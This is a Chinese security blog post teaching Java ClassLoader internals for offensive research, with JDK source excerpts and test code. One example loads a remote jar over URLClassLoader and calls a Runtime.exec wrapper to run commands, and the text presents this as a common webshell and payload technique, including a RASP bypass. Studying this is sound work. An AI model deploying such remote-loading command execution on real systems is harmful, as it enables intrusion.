闲谈ClassLoader

总算放假了,摆了几天,幻兽帕鲁真上头(x。RWctf的那道shiro凹了半天反弹shell没成功是我没想到的,还是菜了。这篇文章就来讲讲Java的类加载机制吧,类加载机制之前在反射机制那篇文章里提到过,这次就来详细说说。

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVMnative方法(defineClass0/1/2)来定义一个java.lang.Class实例

我们先来看一下JVM的架构图

JvmSpec7.png

ClassLoader的具体作用就是将class文件加载到jvm虚拟机中去,程序就可以正确运行了。但是,jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载。

Java类

先来简单了解下Java

接下来我们自己写一个测试类

1
2
3
4
5
6
package com.deicide.sec.classloader;
public class TestHelloWorld {
public String hello() {
return "Hello World";
}
}

然后编译这个类:javac TestHelloWorld.java

可以通过JDK自带的javap命令反汇编TestHelloWorld.class文件对应的com.anbai.sec.classloader.TestHelloWorld类,以及使用Linux自带的hexdump命令查看TestHelloWorld.class文件二进制内容,或者我们可以用010Editor来查看

classloader1.png

classloader2.png

JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码。

ClassLoader

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

从上面的描述来看也可以清楚地知道这三个类加载器的加载顺序是:

  1. Bootstrap CLassloder
  2. Extention ClassLoader
  3. AppClassLoader

Launcher

我们可以查看源码来更好地理解,下面是sun.misc.Launcher精简后的代码,它是一个 java虚拟机的入口应用,但是它针对 jdk1.8,jdk9 以后就没有该文件了。

1
2
3
4
jdk9以后
sun.misc.Launcher中的AppClassLoader改成了jdk.internal.loader.ClassLoaders中的AppClassLoader

sun.misc.Launcher中的ExtClassLoader改成了jdk.internal.loader.ClassLoaders中的PlatformClassLoader

以下针对JDK8

1
2
3
4
5
6
7
8
9
public class Launcher {
private static String bootClassPath = System.getProperty("sun.boot.class.path");
private static Launcher launcher = new Launcher();
public Launcher() {
Launcher.ExtClassLoader var1= Launcher.ExtClassLoader.getExtClassLoader();
this.loader = Launcher.AppClassLoader.getAppClassLoader(var1);
Thread.currentThread().setContextClassLoader(this.loader);
}
}
  1. Launcher初始化了ExtClassLoader和AppClassLoader。
  2. Launcher中并没有看见BootstrapClassLoader,但通过System.getProperty("sun.boot.class.path")得到了字符串bootClassPath,这个应该就是BootstrapClassLoader加载的jar包路径(可以自己print测试一下)。

ExtClassLoader

下面是它的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*
* The class loader used for loading installed extensions.
*/
static class ExtClassLoader extends URLClassLoader {

static {
ClassLoader.registerAsParallelCapable();
}

/**
* create an ExtClassLoader. The ExtClassLoader is created
* within a context that limits which files it can read
*/
public static ExtClassLoader getExtClassLoader() throws IOException
{
final File[] dirs = getExtDirs();

try {
// Prior implementations of this doPrivileged() block supplied
// aa synthesized ACC via a call to the private method
// ExtClassLoader.getContext().

return AccessController.doPrivileged(
new PrivilegedExceptionAction<ExtClassLoader>() {
public ExtClassLoader run() throws IOException {
int len = dirs.length;
for (int i = 0; i < len; i++) {
MetaIndex.registerDirectory(dirs[i]);
}
return new ExtClassLoader(dirs);
}
});
} catch (java.security.PrivilegedActionException e) {
throw (IOException) e.getException();
}
}

private static File[] getExtDirs() {
String s = System.getProperty("java.ext.dirs");
File[] dirs;
if (s != null) {
StringTokenizer st = new StringTokenizer(s, File.pathSeparator);
int count = st.countTokens();
dirs = new File[count];
for (int i = 0; i < count; i++) {
dirs[i] = new File(st.nextToken());
}
} else {
dirs = new File[0];
}
return dirs;
}
......
}

我们可以指定-D java.ext.dirs参数来添加和改变ExtClassLoader的加载路径。接下来测试一下。

1
System.out.println(System.getProperty("java.ext.dirs"));

输出因环境而异就不放了。

AppClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* The class loader used for loading from java.class.path.
* runs in a restricted security context.
*/
static class AppClassLoader extends URLClassLoader {
public static ClassLoader getAppClassLoader(final ClassLoader extcl)
throws IOException
{
final String s = System.getProperty("java.class.path");
final File[] path = (s == null) ? new File[0] : getClassPath(s);
return AccessController.doPrivileged(
new PrivilegedAction<AppClassLoader>() {
public AppClassLoader run() {
URL[] urls =
(s == null) ? new URL[0] : pathToURLs(path);
return new AppClassLoader(urls, extcl);
}
});
}
......
}

可以看到AppClassLoader加载的就是java.class.path下的路径。我们同样打印它的值。

1
System.out.println(System.getProperty("java.class.path"));

值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

我们来写个代码测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.deicide.sec.classloader;

import sun.misc.Launcher;

public class Test {
public static void main(String[] args) {
ClassLoader launcherClassLoader = Launcher.class.getClassLoader();
System.out.println(launcherClassLoader); //输出null

ClassLoader testClassLoader = Test.class.getClassLoader();
System.out.println(testClassLoader); // 输出 sun.misc.Launcher$AppClassLoader@19821f
}
}

这里的classLoader是null,说明Launcher确实是BootstrapClassLoader加载的。

为何classLoadernull,说明Launcher确实是BootstrapClassLoader加载的?因为java.lang.Class类的getClassLoader()方法用于获取此实体的classLoader,该实体可以是类,数组,接口等。我们知道类加载器类型包括四种,分别是启动类加载器(Bootstrap ClassLoader)、扩展类加载器(Extension ClassLoader)、应用程序类加载器(Application ClassLoader)、用户自定义加载器,如果是后3种类型,一般会打印出具体的信息,而前面代码中的打印2条结果,第二条sun.misc.Launcher$AppClassLoader@19821f说明应用了程序类加载器,含有关键词AppClassLoader,与此类似,如果是Ext或自定义类型,也有相关的关键词,而第一条为null,不是后3种的类型之一,据此反推第一条是Bootstrap ClassLoader

其实也不需要反推,根本原因在于java.lang.Class类的getClassLoader()方法实现机制,我们来看下该方法的源码和注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//JDK 1.8
public final class Class<T> {
/**
* Returns the class loader for the class. Some implementations may use
* null to represent the bootstrap class loader. This method will return
* null in such implementations if this class was loaded by the bootstrap
* class loader.
...

*/
@CallerSensitive public ClassLoader getClassLoader() {
ClassLoader cl = getClassLoader0();
if (cl == null)
return null;
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
ClassLoader.checkClassLoaderPermission(cl, Reflection.getCallerClass());
}
return cl;
}

我们可以看到上面的注释中有这么一句Some implementations may use null to represent the bootstrap class loader,说明当返回值为null时,表示使用的是bootstrap class loader,还有就是因为BootstrapClassLoaderC/C++编写的,它本身是虚拟机的一部分,所以它并不是一个JAVA类,也就是无法在JAVA代码中获取它的引用,所以测试代码中获取launcher的加载器就会返回null。

另外,ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

方法名挺好记的,嗯。

Java类动态加载方式

Java类加载方式分为显式隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,关于反射我上一篇文章有讲。而隐式指的是类名.方法名()new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:

1
2
3
4
5
// 反射加载TestHelloWorld示例
Class.forName("com.deicide.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.deicide.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

ClassLoader类加载流程

这里我用HelloWorld类为例

前面已经讲了大概的一个类加载流程,下面我们来稍微具体地讲一下

下面是com.anbai.sec.classloader.TestHelloWorld类的源码

1
2
3
4
5
6
7
package com.deicide.sec.classloader;

public class TestHelloWorld {
public String hello() {
return "Hello World";
}
}

ClassLoader加载com.anbai.sec.classloader.TestHelloWorldloadClass重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.deicide.sec.classloader.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。

下面是ClassLoader的部分源码,中文部分注释是我加上去的(非源码内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public abstract class ClassLoader {
...
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
// 类加载缓存
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
//双亲委托,优先使用父类加载器加载
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
PerfCounter.getParentDelegationTime().addTime(t1 - t0);
PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
...
}

也能看懂大概就是上面我说的流程

然后上面的注释中有提到双亲委托,那就插一嘴来简单介绍一下这个。

双亲委托

JVM加载一个class时先查看是否已经加载过,没有则通过父加载器,然后递归下去,直到BootstrapClassLoader,如果BootstrapClassloader找到了,直接返回,如果没有找到,则一级一级返回(查看规定加载路径),最后到达自身去查找这些对象。这种机制就叫做双亲委托。

好处是:

  1. 避免重复加载

    A和B都需要加载X,各自加载就会导致X加载了两次,JVM中出现两份X的字节码;

  2. 防止恶意加载

    编写恶意类java.lang.Objcet,自定义加载替换系统原生类;

上面的那段代码就很好地印证了双亲委托模型,先从缓存找,然后根据parent是否为null(BoostrapClassLoader)向上委托加载。

双亲委托是JVM的规范,是可以通过在自定义ClassLoader时重写loadClass方法打破的,而JDK1.2之后不建议直接重写loadClass,不想打破规范只需要重写findClass方法即可。

自定义ClassLoader

java.lang.ClassLoader是所有类加载器的父类,可以看看下面这张继承关系图

ClassLoader.png

java.lang.ClassLoader有非常多的自类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件

那么接下来我们写一个自己的类加载器来实现加载自定义的字节码,这里我用TestHelloWorld类为例,调用hello方法

如果com.deicide.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

1
2
3
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);

但是如果com.deicide.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "com.deicide.sec.classloader.TestHelloWorld";

// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 55 , 0, 17, 10, 0, 4, 0, 13, 8,
0, 14, 7, 0, 15, 7, 0, 16, 1, 0, 6, 60, 105, 110, 105, 116,
62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0,
15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1,
0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 84,
101, 115, 116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97,
118, 97, 12, 0, 5, 0, 6, 1, 0, 11, 72, 101, 108, 108, 111, 32,
87, 111, 114, 108, 100, 1, 0, 42, 99, 111, 109, 47, 100, 101, 105, 99,
105, 100, 101, 47, 115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97,
100, 101, 114, 47, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111, 114,
108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79,
98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0,
2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0,
1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1,
0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9,
0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0,
0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0,6,0,
1, 0, 0, 0, 9, 0, 1, 0, 11, 0, 0, 0, 2, 0, 12
};

@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}

return super.findClass(name);
}

public static String getTestClassName() {
return testClassName;
}

public static byte[] getTestClassBytes() {
return testClassBytes;
}

public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();

try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);

// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();

// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");

// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);

System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}

至于如何拿到字节码,emm,我是用010Editor查看TestHelloWorld.class,然后把那个十六进制转成十进制就好了(x)。

利用自定义加载器就可以在webshell中实现加载并调用自己编译的类对象。

比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

URLClassLoader

URLClassLoader继承了ClassLoader,它提供了一个加载远程资源的能力,在写利用的payload或者webshell的时候可以使用这个特性来加载远程的jar来实现远程的类方法调用。这个还是比较常用的一个利用姿势。

TestURLClassLoader.java实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.deicide.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

public static void main(String[] args) {
try {
// 定义远程加载的jar路径,这里为了测试我就放我虚拟机里了,拿tomcat起个服务就好了
URL url = new URL("http://192.168.142.133:8080/tools/CMD.jar");

// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});

// 定义需要执行的系统命令
String cmd = "ls";

// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");

// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}

远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:

1
2
3
4
5
6
7
import java.io.IOException;

public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}

就是一个获取shell的类,前面那篇java反射机制里面有讲。

类加载隔离

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两者必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

ClassLoader3.webp

跨类加载器加载

RASPIAST经常会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader AClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class AClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射`。

那就举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.deicide.sec.classloader;

import java.lang.reflect.Method;

public class TestCrossClassLoader {
public static class ClassLoaderA extends ClassLoader {
TestClassLoader tcl = new TestClassLoader();
public String TEST_CLASS_NAME = tcl.getTestClassName();
public byte[] TEST_CLASS_BYTES = tcl.getTestClassBytes();
public ClassLoaderA(ClassLoader parent) {
super(parent);
}

{
// 加载类字节码
defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
}

}

public static class ClassLoaderB extends ClassLoader {

TestClassLoader tcl = new TestClassLoader();
public String TEST_CLASS_NAME = tcl.getTestClassName();
public byte[] TEST_CLASS_BYTES = tcl.getTestClassBytes();

public ClassLoaderB(ClassLoader parent) {
super(parent);
}

{
// 加载类字节码
defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
}

}

public static void main(String[] args) throws Exception {
// 父类加载器
ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();

// A类加载器
ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);

// B类加载器
ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);

TestClassLoader tcl = new TestClassLoader();
String TEST_CLASS_NAME = tcl.getTestClassName();

// 使用A/B类加载器加载同一个类
Class<?> aClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
Class<?> bClass = Class.forName(TEST_CLASS_NAME, true, bClassLoader);

// 比较A类加载和B类加载器加载的类是否相等
System.out.println("aClass == aaClass:" + (aClass == aaClass));
System.out.println("aClass == bClass:" + (aClass == bClass));

System.out.println("\n" + aClass.getName() + "方法清单:");

// 获取该类所有方法
Method[] methods = aClass.getDeclaredMethods();

for (Method method : methods) {
System.out.println(method);
}

// 创建类实例
Object instanceA = aClass.newInstance();

// 获取hello方法
Method helloMethod = aClass.getMethod("hello");

// 调用hello方法
String result = (String) helloMethod.invoke(instanceA);

System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);
}
}

输出

1
2
3
4
5
6
7
aClass == aaClass:true
aClass == bClass:false

com.deicide.sec.classloader.TestHelloWorld方法清单:
public java.lang.String com.deicide.sec.classloader.TestHelloWorld.hello()

反射调用:com.deicide.sec.classloader.TestHelloWorld类hello方法,返回结果:Hello World

这篇文章就先到这,还有一些比如JSP自定义类加载后门BCEL ClassLoader,Xalan ClassLoader这些准备分别跟JSPBCEL,Xalan一块讲,在这里讲有点太早了。

然后也该把RWCTF的那道shiro给他复现一下,感觉挺有意思的。

晚安。